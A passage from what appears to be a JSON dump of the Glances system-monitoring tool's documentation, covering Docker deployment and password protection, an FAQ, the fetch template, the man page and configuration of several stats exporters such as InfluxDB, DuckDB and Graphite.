-v /var/run/docker.sock:/var/run/docker.sock:ro -v /run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host docker.io/nicolargo/glances\n\nNote: if you want to see the network interface stats within the container, add --net=host --privileged\n\nYou can also include Glances container in you own `docker-compose.yml`. A realistic example includes a \"traefik\" reverse proxy serving an \"whoami\" app container plus a Glances container, providing a simple and efficient monitoring webui.\n\n.. code-block:: console\n\n    version: '3'\n\n    services:\n      reverse-proxy:\n        image: traefik:alpine\n        command: --api --docker\n        ports:\n          - \"80:80\"\n          - \"8080:8080\"\n        volumes:\n          - /var/run/docker.sock:/var/run/docker.sock\n\n      whoami:\n        image: emilevauge/whoami\n        labels:\n          - \"traefik.frontend.rule=Host:whoami.docker.localhost\"\n\n      monitoring:\n        image: nicolargo/glances:latest\n        restart: always\n        pid: host\n        volumes:\n          - /var/run/docker.sock:/var/run/docker.sock\n          # Uncomment the below line if you want glances to display host OS detail instead of container's\n          # - /etc/os-release:/etc/os-release:ro\n        environment:\n          - \"GLANCES_OPT=-w\"\n        labels:\n          - \"traefik.port=61208\"\n          - \"traefik.frontend.rule=Host:glances.docker.localhost\"\n\nHow to protect your Dockerized server (or Web server) with a login/password ?\n-----------------------------------------------------------------------------\n\nBelow are two methods for setting up a login/password to protect Glances running inside a Docker container.\n\nOption 1\n^^^^^^^^\n\nYou can enter the running container by entering this command (replacing ``glances_docker`` with the name of your container):\n\n.. code-block:: console\n\n    docker exec -it glances_docker sh\n\nand generate the password file (the default login is ``glances``, add the ``--username`` flag if you would like to change it):\n\n.. code-block:: console\n\n    glances -s --password\n\nNote: or ``glances -w --password`` for the web server mode.\n\nwhich will prompt you to answer the following questions:\n\n.. code-block:: console\n\n    Define the Glances server password (glances username):\n    Password (confirm):\n    Do you want to save the password? [Yes/No]: Yes\n\nafter which you will need to kill the process by entering ``CTRL+C`` (potentially twice), before leaving the container:\n\n.. code-block:: console\n\n    exit\n\nYou will then need to copy the password file to your host machine:\n\n.. code-block:: console\n\n    docker cp glances_docker:/root/.config/glances/glances.pwd ./secrets/glances_password\n\nand make it visible to your container by adding it to ``docker-compose.yml`` as a ``secret``:\n\n.. code-block:: yaml\n\n    version: '3'\n\n    services:\n      glances:\n        image: nicolargo/glances:latest\n        restart: always\n        environment:\n          - \"GLANCES_OPT=-w --password\"\n        volumes:\n          - /var/run/docker.sock:/var/run/docker.sock:ro\n          # Uncomment the below line if you want glances to display host OS detail instead of container's\n          # - /etc/os-release:/etc/os-release:ro\n        pid: host\n        secrets:\n          - source: glances_password\n            target: /root/.config/glances/glances.pwd\n\n    secrets:\n      glances_password:\n        file: ./secrets/glances_password\n\nOption 2\n^^^^^^^^\n\nYou can add a ``[passwords]`` block to the Glances configuration file as mentioned elsewhere in the documentation:\n\n.. code-block:: ini\n\n    [passwords]\n    # Define the passwords list\n    # Syntax: host=password\n    # Where: host is the hostname\n    #        password is the clear password\n    # Additionally (and optionally) a default password could be defined\n    localhost=mylocalhostpassword\n    default=mydefaultpassword\n\nUsing GPU Plugin with Docker (Only Nvidia GPUs)\n-----------------------------------------------\n\nComplete the steps mentioned in the `docker docs <https://docs.docker.com/config/containers/resource_constraints/#gpu>`_\nto make the GPU accessible by the docker engine.\n\nWith `docker run`\n^^^^^^^^^^^^^^^^^\nInclude the `--gpus` flag with the `docker run` command.\n\n**Note:** Make sure the `--gpus` is present before the image name in the command, otherwise it won't work.\n\n.. code-block:: ini\n\n    docker run --rm -v /var/run/docker.sock:/var/run/docker.sock:ro --gpus --pid host --network host -it docker.io/nicolargo/glances:latest-full\n\n..\n\n\nWith `docker-compose`\n^^^^^^^^^^^^^^^^^^^^^\nInclude the `deploy` section in compose file as specified below in the example service definition.\n\n.. code-block:: ini\n\n    version: '3'\n\n    services:\n      monitoring:\n        image: nicolargo/glances:latest-full\n        pid: host\n        network_mode: host\n        volumes:\n          - /var/run/docker.sock:/var/run/docker.sock\n          # Uncomment the below line if you want glances to display host OS detail instead of container's\n          # - /etc/os-release:/etc/os-release:ro\n        environment:\n          - \"GLANCES_OPT=-w\"\n        # For nvidia GPUs\n        deploy:\n          resources:\n            reservations:\n              devices:\n                - driver: nvidia\n                  count: 1\n                  capabilities: [gpu]\n\n..\n\nReference: https://docs.docker.com/compose/gpu-support/\n\n.. _DockerHub: https://hub.docker.com/r/nicolargo/glances/tags\n"
  },
  {
    "path": "docs/faq.rst",
    "content": ".. _faq:\n\nF.A.Q\n=====\n\nAny encoding issue ?\n--------------------\n\nTry to run Glances with the following command line:\n\n    LANG=en_US.UTF-8 LC_ALL= glances\n\nContainer memory stats not displayed ?\n--------------------------------------\n\nOn ARM64, Docker needs to be configured to allow access to the memory stats.\n\nEdit the /boot/firmware/cmdline.txt and add the following configuration key:\n\n    cgroup_enable=memory\n\nNetifaces issue ?\n-----------------\n\nPreviously, Glances uses Netifaces to get network interfaces information.\n\nNow, Glances uses Netifaces2.\n\nPlease uninstall Netifaces and install Netifaces2 instead.\n\nExtra note: Glances 4.5 or higher do not use Netifaces/Netifaces2 anymore.\n\nOn Debian/Ubuntu Operating Systems, Webserver display a blank screen ?\n----------------------------------------------------------------------\n\nFor some reason, the Glances Debian/Ubuntu packages do not include the Web UI static files.\n\nPlease read: https://github.com/nicolargo/glances/issues/2021 for workaround and more information.\n\nGlances said that my computer has no free memory, is it normal ?\n----------------------------------------------------------------\n\nOn Linux, Glances shows by default the free memory.\n\nFree memory can be low, it's a \"normal\" behavior because Linux uses free memory for disk caching\nto improve performance. More information can be found here: https://linuxatemyram.com/.\n\nIf you want to display the \"available\" memory instead of the \"free\" memory, you can uses the\nthe following configuration key in the Glances configuration file:\n\n.. code-block:: ini\n\n    [mem]\n    # Display available memory instead of used memory\n    available=True\n"
  },
  {
    "path": "docs/fetch.rst",
    "content": ".. _fetch:\n\nFetch\n=====\n\nThe fetch mode is used to get and share a quick look of a machine using the\n``fetch`` option. In this mode, current stats are displayed on the console in\na fancy way.\n\n.. code-block:: console\n\n    $ glances --fetch\n\nResults look like this:\n\n.. image:: _static/screenshot-fetch.png\n\nIt is also possible to use a custom template with the ``--fetch-template </path/to/template.jinja>`` option.\n\nSome examples are provided in the ``conf/fetch-templates/`` directory. Please feel free to\ncustomize them or create your own template (contribution via PR are welcome).\n\nThe format of the template is based on the Jinja2 templating engine and can use all the stats\navailable in Glances through the ``gl`` variable (an instance of the :ref:`Glances Python API<api>`).\n\nFor example, the default template is define as:\n\n.. code-block:: jinja\n\n    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    ✨ {{ gl.system['hostname'] }}{{ ' - ' + gl.ip['address'] if gl.ip['address'] else '' }}\n    ⚙️  {{ gl.system['hr_name'] }} | Uptime: {{ gl.uptime }}\n\n    💡 LOAD     {{ '%0.2f'| format(gl.load['min1']) }} {{ '%0.2f'| format(gl.load['min5']) }} {{ '%0.2f'| format(gl.load['min15']) }}\n    ⚡ CPU      {{ gl.bar(gl.cpu['total']) }} {{ gl.cpu['total'] }}% of {{ gl.core['log'] }} cores\n    🧠 MEM      {{ gl.bar(gl.mem['percent']) }} {{ gl.mem['percent'] }}% ({{ gl.auto_unit(gl.mem['used']) }} {{ gl.auto_unit(gl.mem['total']) }})\n    {% for fs in gl.fs.keys() %}💾 {% if loop.index == 1 %}DISK{% else %}    {% endif %}     {{ gl.bar(gl.fs[fs]['percent']) }} {{ gl.fs[fs]['percent'] }}% ({{ gl.auto_unit(gl.fs[fs]['used']) }} {{ gl.auto_unit(gl.fs[fs]['size']) }}) for {{ fs }}\n    {% endfor %}{% for net in gl.network.keys() %}📡 {% if loop.index == 1 %}NET{% else %}   {% endif %}      ↓ {{ gl.auto_unit(gl.network[net]['bytes_recv_rate_per_sec']) }}b/s  ↑ {{ gl.auto_unit(gl.network[net]['bytes_sent_rate_per_sec']) }}b/s for {{ net }}\n    {% endfor %}\n    🔥 TOP PROCESS by CPU\n    {% for process in gl.top_process() %}{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}    ⚡ {{ process['cpu_percent'] }}% CPU{{ ' ' * (8 - (gl.auto_unit(process['cpu_percent']) | length)) }}    🧠 {{ gl.auto_unit(process['memory_info']['rss']) }}B MEM\n    {% endfor %}\n    🔥 TOP PROCESS by MEM\n    {% for process in gl.top_process(sorted_by='memory_percent', sorted_by_secondary='cpu_percent') %}{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}    🧠 {{ gl.auto_unit(process['memory_info']['rss']) }}B MEM{{ ' ' * (7 - (gl.auto_unit(process['memory_info']['rss']) | length)) }}    ⚡ {{ process['cpu_percent'] }}% CPU\n    {% endfor %}\n    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
  },
  {
    "path": "docs/glances.rst",
    "content": ":orphan:\n\nglances\n=======\n\nSYNOPSIS\n--------\n\n**glances** [OPTIONS]\n\nDESCRIPTION\n-----------\n\n**glances** is a cross-platform curses-based monitoring tool that aims\nto present a maximum of information in a minimum of space, ideally fitting\nin a classic 80x24 terminal or larger for more details. It can adapt\ndynamically to the displayed information depending on the terminal size.\nIt can also work in client/server mode.\nRemote monitoring can be performed via a terminal or web interface.\n\n**glances** is written in Python and uses the *psutil* library to get\ninformation from your system.\n\nOPTIONS\n-------\n\n.. include:: cmds.rst\n\nCONFIGURATION\n-------------\n\n.. include:: config.rst\n\nEXAMPLES\n--------\n\nMonitor local machine, also called standalone mode,\nwith the Text-based user interface (TUI):\n\n    $ glances\n\nTo monitor the local machine with the Web user interface (WebUI),\n, run the following command line:\n\n    $ glances -w\n\nthen, open a Web Browser to the provided URL.\n\nMonitor local machine and export stats to a CSV file:\n\n    $ glances --export csv --export-csv-file /tmp/glances.csv\n\nMonitor local machine and export stats to an InfluxDB server with 5s\nrefresh time (also possible to export to OpenTSDB, Cassandra, Statsd,\nElasticSearch, RabbitMQ, and Riemann):\n\n    $ glances -t 5 --export influxdb\n\nIt is also possible to export stats to multiple endpoints:\n\n    $ glances -t 5 --export influxdb,statsd,csv\n\nStart a Glances server (server mode):\n\n    $ glances -s\n\nConnect Glances to a Glances server (client mode):\n\n    $ glances -c <ip_server>\n\nConnect to a Glances server and export stats to a StatsD server:\n\n    $ glances -c <ip_server> --export statsd\n\nStart the TUI Central Glances Browser:\n\n    $ glances --browser\n\nStart the WebUI Central Glances Browser (new in Glances 4.3 or higher):\n\n    $ glances --browser -w\n\nIf you do not want to see the local Glances Web Server in the browser list please use --disable-autodiscover option.\n\nAUTHOR\n------\n\nNicolas Hennion aka Nicolargo <contact@nicolargo.com>\n"
  },
  {
    "path": "docs/gw/cassandra.rst",
    "content": ".. _cassandra:\n\nCassandra\n=========\n\nYou can export statistics to a ``Cassandra`` or ``Scylla`` server.\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [cassandra]\n    host=localhost\n    port=9042\n    protocol_version=3\n    keyspace=glances\n    replication_factor=2\n    table=localhost\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export cassandra\n\nThe data model is the following:\n\n.. code-block:: ini\n\n    CREATE TABLE <table> (plugin text, time timeuuid, stat map<text,float>, PRIMARY KEY (plugin, time))\n\nOnly numerical stats are stored in the Cassandra table. All the stats\nare converted to float. If a stat cannot be converted to float, it is\nnot stored in the database.\n"
  },
  {
    "path": "docs/gw/couchdb.rst",
    "content": ".. _couchdb:\n\nCouchDB\n=======\n\nYou can export statistics to a ``CouchDB`` server.\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [couchdb]\n    host=localhost\n    port=5984\n    db=glances\n    user=root\n    password=example\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export couchdb\n\nDocuments are stored in native ``JSON`` format. Glances adds ``\"type\"``\nand ``\"time\"`` entries:\n\n- ``type``: plugin name\n- ``time``: timestamp  (format: \"2016-09-24T16:39:08.524Z\")\n\nExample of Couch Document for the load stats:\n\n.. code-block:: json\n\n    {\n       \"_id\": \"36cbbad81453c53ef08804cb2612d5b6\",\n       \"_rev\": \"1-382400899bec5615cabb99aa34df49fb\",\n       \"min15\": 0.33,\n       \"time\": \"2016-09-24T16:39:08.524Z\",\n       \"min5\": 0.4,\n       \"cpucore\": 4,\n       \"load_warning\": 1,\n       \"min1\": 0.5,\n       \"history_size\": 28800,\n       \"load_critical\": 5,\n       \"type\": \"load\",\n       \"load_careful\": 0.7\n    }\n\nYou can view the result using the CouchDB utils URL: http://127.0.0.1:5984/_utils/database.html?glances.\n"
  },
  {
    "path": "docs/gw/csv.rst",
    "content": ".. _csv:\n\nCSV\n===\n\nIt's possible to export stats to a CSV file.\n\n.. code-block:: console\n\n    $ glances --export csv --export-csv-file /tmp/glances.csv --quiet\n\nCSV file description:\n\n- first line: Stats description (header)\n- others lines: Stats (data)\n\nBy default, data will be append any existing CSV file (if header are compliant).\n\nIf the header did not match with a previous one, an error is logged.\n\nThe --export-csv-overwrite tag should be used if you want to delete the existing CSV file when Glances starts.\n\nIt is possible to remove some exported data using the --disable-plugin tag:\n\n  $ glances --export csv --export-csv-file /tmp/glances.csv --disable-plugin load,swap --quiet\n\nor by only enable some plugins:\n\n  $ glances --export csv --export-csv-file /tmp/glances.csv --disable-plugin all --enable-plugin cpu,mem,load --quiet\n"
  },
  {
    "path": "docs/gw/duckdb.rst",
    "content": ".. _duckdb:\n\nDuckDB\n===========\n\nWarning: For the moment the DuckDB lib is not configure as a dependency of Glances because\nit breaks the build on Docker Alpine images. If you want to use this export, you have to\ninstall DuckDB Python lib on your side.\n\nYou can export statistics to a ``DuckDB`` server.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [duckdb]\n    # database defines where data are stored, can be one of:\n    # /path/to/glances.db (see https://duckdb.org/docs/stable/clients/python/dbapi#file-based-connection)\n    # :memory:glances (see https://duckdb.org/docs/stable/clients/python/dbapi#in-memory-connection)\n    # Or anyone else supported by the API (see https://duckdb.org/docs/stable/clients/python/dbapi)\n    database=/tmp/glances.db\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export duckdb\n\nData model\n-----------\n\nThe data model is composed of one table per Glances plugin.\n\nExample:\n\n.. code-block:: python\n\n    >>> import duckdb\n    >>> db = duckdb.connect(database='/tmp/glances.db', read_only=True)\n\n    >>> db.sql(\"SELECT * from cpu\")\n    ┌─────────────────────┬─────────────────┬────────┬────────┬────────┬───┬────────────────────┬─────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n    │        time         │   hostname_id   │ total  │  user  │  nice  │ … │ cpu_iowait_warning │ cpu_iowait_critical │ cpu_ctx_switches_c…  │ cpu_ctx_switches_w…  │ cpu_ctx_switches_c…  │\n    │ time with time zone │     varchar     │ double │ double │ double │   │       double       │       double        │        double        │        double        │        double        │\n    ├─────────────────────┼─────────────────┼────────┼────────┼────────┼───┼────────────────────┼─────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n    │ 11:50:25+00         │ nicolargo-xps15 │    8.0 │    5.6 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:27+00         │ nicolargo-xps15 │    4.3 │    3.2 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:29+00         │ nicolargo-xps15 │    4.3 │    3.2 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:31+00         │ nicolargo-xps15 │   14.9 │   15.7 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:33+00         │ nicolargo-xps15 │   14.9 │   15.7 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:35+00         │ nicolargo-xps15 │    8.2 │    7.8 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:37+00         │ nicolargo-xps15 │    8.2 │    7.8 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:39+00         │ nicolargo-xps15 │   12.7 │   10.3 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:41+00         │ nicolargo-xps15 │   12.7 │   10.3 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:50:43+00         │ nicolargo-xps15 │   12.2 │   10.3 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │      ·              │        ·        │     ·  │     ·  │     ·  │ · │                ·   │                  ·  │                 ·    │                 ·    │                 ·    │\n    │      ·              │        ·        │     ·  │     ·  │     ·  │ · │                ·   │                  ·  │                 ·    │                 ·    │                 ·    │\n    │      ·              │        ·        │     ·  │     ·  │     ·  │ · │                ·   │                  ·  │                 ·    │                 ·    │                 ·    │\n    │ 11:51:29+00         │ nicolargo-xps15 │   10.1 │    7.4 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:32+00         │ nicolargo-xps15 │   10.1 │    7.4 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:34+00         │ nicolargo-xps15 │    6.6 │    4.9 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:36+00         │ nicolargo-xps15 │    6.6 │    4.9 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:38+00         │ nicolargo-xps15 │    9.9 │    7.5 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:40+00         │ nicolargo-xps15 │    9.9 │    7.5 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:42+00         │ nicolargo-xps15 │    4.0 │    3.1 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:44+00         │ nicolargo-xps15 │    4.0 │    3.1 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:46+00         │ nicolargo-xps15 │   11.1 │    8.8 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    │ 11:51:48+00         │ nicolargo-xps15 │   11.1 │    8.8 │    0.0 │ … │              5.625 │                6.25 │             640000.0 │             720000.0 │             800000.0 │\n    ├─────────────────────┴─────────────────┴────────┴────────┴────────┴───┴────────────────────┴─────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n    │ 41 rows (20 shown)                                                                                                                                             47 columns (10 shown) │\n    └──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘\n\n    >>> db.sql(\"SELECT * from cpu\").fetchall()[0]\n    (datetime.time(11, 50, 25, tzinfo=datetime.timezone.utc), 'nicolargo-xps15', 8.0, 5.6, 0.0, 2.3, 91.9, 0.1, 0.0, 0.0, 0.0, 0, 0, 0, 0, 16, 2.4103684425354004, 90724823, 0, 63323797, 0, 30704572, 0, 0, 0, 1200.0, 65.0, 75.0, 85.0, True, 50.0, 70.0, 90.0, True, 50.0, 70.0, 90.0, True, 50.0, 70.0, 90.0, 5.0, 5.625, 6.25, 640000.0, 720000.0, 800000.0)\n\n\n    >>> db.sql(\"SELECT * from network\")\n    ┌─────────────────────┬─────────────────┬────────────────┬────────────┬────────────┬───┬─────────────────────┬────────────────┬────────────────────┬────────────────────┬───────────────────┐\n    │        time         │   hostname_id   │     key_id     │ bytes_sent │ bytes_recv │ … │ network_tx_critical │  network_hide  │ network_hide_no_up │ network_hide_no_ip │ network_hide_zero │\n    │ time with time zone │     varchar     │    varchar     │   int64    │   int64    │   │       double        │    varchar     │      boolean       │      boolean       │      boolean      │\n    ├─────────────────────┼─────────────────┼────────────────┼────────────┼────────────┼───┼─────────────────────┼────────────────┼────────────────────┼────────────────────┼───────────────────┤\n    │ 11:50:25+00         │ nicolargo-xps15 │ interface_name │     407761 │      32730 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:27+00         │ nicolargo-xps15 │ interface_name │       2877 │       4857 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:29+00         │ nicolargo-xps15 │ interface_name │      44504 │      32555 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:31+00         │ nicolargo-xps15 │ interface_name │    1092285 │      48600 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:33+00         │ nicolargo-xps15 │ interface_name │     150119 │      43805 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:35+00         │ nicolargo-xps15 │ interface_name │      34424 │      14825 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:37+00         │ nicolargo-xps15 │ interface_name │      19382 │      33614 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:39+00         │ nicolargo-xps15 │ interface_name │      53060 │      39780 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:41+00         │ nicolargo-xps15 │ interface_name │     371914 │      78626 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:50:43+00         │ nicolargo-xps15 │ interface_name │      82356 │      60612 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │      ·              │        ·        │       ·        │         ·  │         ·  │ · │                  ·  │       ·        │  ·                 │  ·                 │  ·                │\n    │      ·              │        ·        │       ·        │         ·  │         ·  │ · │                  ·  │       ·        │  ·                 │  ·                 │  ·                │\n    │      ·              │        ·        │       ·        │         ·  │         ·  │ · │                  ·  │       ·        │  ·                 │  ·                 │  ·                │\n    │ 11:51:29+00         │ nicolargo-xps15 │ interface_name │       3766 │       9977 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:32+00         │ nicolargo-xps15 │ interface_name │     188036 │      18668 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:34+00         │ nicolargo-xps15 │ interface_name │        543 │       2451 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:36+00         │ nicolargo-xps15 │ interface_name │       8247 │       7275 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:38+00         │ nicolargo-xps15 │ interface_name │       7252 │        986 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:40+00         │ nicolargo-xps15 │ interface_name │        172 │        132 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:42+00         │ nicolargo-xps15 │ interface_name │       8080 │       6640 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:44+00         │ nicolargo-xps15 │ interface_name │      19660 │      17830 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:46+00         │ nicolargo-xps15 │ interface_name │    1007030 │      84170 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    │ 11:51:48+00         │ nicolargo-xps15 │ interface_name │     128947 │      18087 │ … │                90.0 │ [docker.*, lo] │ true               │ true               │ true              │\n    ├─────────────────────┴─────────────────┴────────────────┴────────────┴────────────┴───┴─────────────────────┴────────────────┴────────────────────┴────────────────────┴───────────────────┤\n    │ 41 rows (20 shown)                                                                                                                                                  28 columns (10 shown) │\n    └───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘\n\n\n.. _duckdb: https://duckdb.org/\n\n"
  },
  {
    "path": "docs/gw/elastic.rst",
    "content": ".. _elastic:\n\nElasticsearch\n=============\n.. note::\n    You need to install the `elasticsearch`_ library on your system.\n\nYou can export statistics to an ``Elasticsearch`` server. The connection\nshould be defined in the Glances configuration file as following:\n\n.. code-block:: ini\n\n    [elasticsearch]\n    host=localhost\n    port=9200\n    index=glances\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export elasticsearch\n\n.. _elasticsearch: https://pypi.org/project/elasticsearch/\n"
  },
  {
    "path": "docs/gw/graph.rst",
    "content": ".. _graph:\n\nGraph\n======\n\nYou can generate dynamic graphs (SVG format) in a target folder. The generation\nstarts every time the 'g' key is pressed in the CLI interface (if Glances has been\nstarted with the --export graph option).\n\nThe graph export module can be configured through the Glances configuration file:\n\n.. code-block:: ini\n\n    [graph]\n    # Configuration for the --export graph option\n    # Set the path where the graph (.svg files) will be created\n    # Can be overwrite by the --graph-path command line option\n    path=/tmp\n    # It is possible to generate the graphs automatically by setting the\n    # generate_every to a non zero value corresponding to the seconds between\n    # two generation. Set it to 0 to disable graph auto generation.\n    generate_every=60\n    # See following configuration keys definitions in the Pygal lib documentation\n    # http://pygal.org/en/stable/documentation/index.html\n    width=800\n    height=600\n    style=DarkStyle\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export graph --export-graph-path /tmp\n\nExample of output (load graph)\n\n.. image:: ../_static/graph-load.svg\n"
  },
  {
    "path": "docs/gw/graphite.rst",
    "content": ".. _graphite:\n\nGraphite\n========\n\nYou can export statistics to a ``Graphite`` server (time series server).\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [graphite]\n    host=localhost\n    port=2003\n    # Prefix will be added for all measurement name\n    # Ex: prefix=foo\n    #     => foo.cpu\n    #     => foo.mem\n    # You can also use dynamic values\n    #prefix=`hostname`\n    prefix=glances\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export graphite\n\nNote 1: the port defines the TCP port where the Graphite listen plain-text requests.\n\nNote 2: As many time-series database, only integer and float are supported in the Graphite datamodel.\n\nNote 3: Under the wood, Glances uses GraphiteSender Python lib (https://github.com/NicoAdrian/graphitesender).\n"
  },
  {
    "path": "docs/gw/index.rst",
    "content": ".. _gw:\n\nGateway To Other Services\n=========================\n\nGlances can exports stats in files or to other services like databases, message queues, etc.\n\nEach exporter has its own configuration options, which can be set in the Glances\nconfiguration file (`glances.conf`).\n\nA common options section is also available:\n\n is the `exclude_fields` option, which allows you to specify\n\n.. code-block:: ini\n\n    [export]\n    # Common section for all exporters\n   # Do not export following fields (comma separated list of regex)\n   exclude_fields=.*_critical,.*_careful,.*_warning,.*\\.key$\n\n\nThis section describes the available exporters and how to configure them:\n\n.. toctree::\n   :maxdepth: 2\n\n   csv\n   cassandra\n   couchdb\n   elastic\n   graph\n   graphite\n   influxdb\n   json\n   kafka\n   mqtt\n   mongodb\n   nats\n   opentsdb\n   prometheus\n   rabbitmq\n   restful\n   riemann\n   statsd\n   timescaledb\n   zeromq\n"
  },
  {
    "path": "docs/gw/influxdb.rst",
    "content": ".. _influxdb:\n\nInfluxDB\n========\n\nYou can export statistics to an ``InfluxDB`` server (time series server).\n\nIn Glances version 3.2.0 and higher, the way Glances exports stats to\nInfluxDB changes. The following fields will be added as tags:\n\n- key stats (for example *interface_name* for network, container *name* for docker...)\n- hostname (shortname)\n- tags\n\nGlances InfluxDB data model:\n\n+---------------+-----------------------+-----------------------+\n| Measurement   | Fields                | Tags                  |\n+===============+=======================+=======================+\n| cpu           | user                  | hostname              |\n|               | system                |                       |\n|               | iowait...             |                       |\n+---------------+-----------------------+-----------------------+\n| network       | read_bytes            | hostname              |\n|               | write_bytes           | disk_name             |\n|               | time_since_update...  |                       |\n|               |                       |                       |\n+---------------+-----------------------+-----------------------+\n| diskio        | rx                    | hostname              |\n|               | tx                    | interface_name        |\n|               | time_since_update...  |                       |\n|               |                       |                       |\n+---------------+-----------------------+-----------------------+\n| docker        | cpu_percent           | hostname              |\n|               | memory_usage...       | name                  |\n+---------------+-----------------------+-----------------------+\n| gpu           | proc                  | hostname              |\n|               | mem                   | gpu_id                |\n|               | temperature...        |                       |\n+---------------+-----------------------+-----------------------+\n\nInfluxDB (up to version 1.7.x)\n------------------------------\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [influxdb]\n    host=localhost\n    port=8086\n    protocol=http\n    user=root\n    password=root\n    db=glances\n    # Prefix will be added for all measurement name\n    # Ex: prefix=foo\n    #     => foo.cpu\n    #     => foo.mem\n    # You can also use dynamic values\n    #prefix=foo\n    # Following tags will be added for all measurements\n    # You can also use dynamic values.\n    # Note: hostname is always added as a tag\n    #tags=foo:bar,spam:eggs,domain:`domainname`\n\nand run Glances with:\n\n.. code-block:: console\n\n    $ glances --export influxdb\n\nGlances generates a lot of columns, e.g., if you have many running\nDocker containers, so you should use the ``tsm1`` engine in the InfluxDB\nconfiguration file (no limit on columns number).\n\nNote: if you want to use SSL, please set 'protocol=https'.\n\n\nInfluxDB v2 (from InfluxDB v1.8.x/Flux and InfluxDB <v3.x)\n---------------------------------------------------------\n\nNote: The InfluxDB v2 client (https://pypi.org/project/influxdb-client/)\nis only available for Python 3.6 or higher.\n\nThe connection should be defined in the Glances configuration file as\nfollowing:\n\n.. code-block:: ini\n\n    [influxdb2]\n    # Configuration for the --export influxdb2 option\n    # https://influxdb.com/\n    host=localhost\n    port=8086\n    protocol=http\n    org=nicolargo\n    bucket=glances\n    token=PUT_YOUR_INFLUXDB2_TOKEN_HERE\n    # Set the interval between two exports (in seconds)\n    # If the interval is set to 0, the Glances refresh time is used (default behavor)\n    #interval=0\n    # Prefix will be 